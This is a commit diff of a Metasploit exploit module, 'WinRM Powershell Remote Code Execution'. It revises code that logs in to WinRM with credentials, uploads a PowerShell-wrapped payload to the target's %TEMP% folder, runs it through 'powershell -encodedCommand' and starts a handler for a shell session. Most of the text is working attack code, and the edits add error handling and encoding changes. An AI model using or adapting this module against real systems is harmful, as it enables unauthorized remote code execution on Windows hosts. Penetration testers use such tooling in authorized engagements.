@@ -17,13 +17,13 @@ class Metasploit3 < Msf::Exploit::Remote
17
17
Rank = ManualRanking
18
18
19
19
include Msf ::Exploit ::Remote ::WinRM
20
- include Msf :: Auxiliary :: Report
20
+
21
21
22
22
def initialize ( info = { } )
23
23
super ( update_info ( info ,
24
24
'Name' => 'WinRM Powershell Remote Code Execution' ,
25
25
'Description' => %q{
26
- This module uses valid credentials to login to the WinRM service
26
+ This module uses valid credentials to login to the WinRM service
27
27
and execute a payload as a powershell script. It then attempts to
28
28
automigrate before the WinRS shell dies.
29
29
@@ -71,18 +71,21 @@ def check
71
71
end
72
72
73
73
def exploit
74
- unless check [ 0 ] == "vulnerable"
74
+ unless check == Msf :: Exploit :: CheckCode :: Vulnerable
75
75
print_error "Unable to set Execution Policy"
76
76
return
77
77
end
78
78
path = upload_script
79
+ return if path . nil?
79
80
exec_script ( path )
80
81
handler
81
82
end
82
83
83
84
def upload_script
84
- path = temp_dir + "\\ " + ::Rex ::Text . rand_text_alpha ( 8 ) + ".ps1"
85
- print_status "uploading powershell script to #{ path } "
85
+ tdir = temp_dir
86
+ return if tdir . nil?
87
+ path = tdir + "\\ " + ::Rex ::Text . rand_text_alpha ( 8 ) + ".ps1"
88
+ print_status "Uploading powershell script to #{ path } (This may take a few minutes)..."
86
89
87
90
script = Msf ::Util ::EXE . to_win32pe_psh ( framework , payload . encoded )
88
91
#add a sleep to the script to give us enoguh time to establish a session
@@ -118,21 +121,20 @@ def exec_script(path)
118
121
def encoded_psh ( script )
119
122
script = script . chars . to_a . join ( "\x00 " ) . chomp
120
123
script << "\x00 " unless script [ -1 ] . eql? "\x00 "
121
- if ( defined? ( script . encode ) )
122
- script = script . encode ( 'ASCII-8BIT' )
123
- script = Base64 . strict_encode64 ( script )
124
- else
125
- script = Base64 . encode64 ( script ) . chomp
126
- end
124
+ script = Rex ::Text . encode_base64 ( script ) . chomp
127
125
cmd = "powershell -encodedCommand #{ script } "
128
126
end
129
127
130
128
def temp_dir
131
129
print_status "Grabbing %TEMP%"
132
130
resp , c = send_request_ntlm ( winrm_open_shell_msg )
131
+ if resp . nil?
132
+ print_error "Got no reply from the server"
133
+ return nil
134
+ end
133
135
unless resp . code == 200
134
136
print_error "Got unexpected response: \n #{ resp . to_s } "
135
- return
137
+ return nil
136
138
end
137
139
shell_id = winrm_get_shell_id ( resp )
138
140
cmd = "echo %TEMP%"
0 commit comments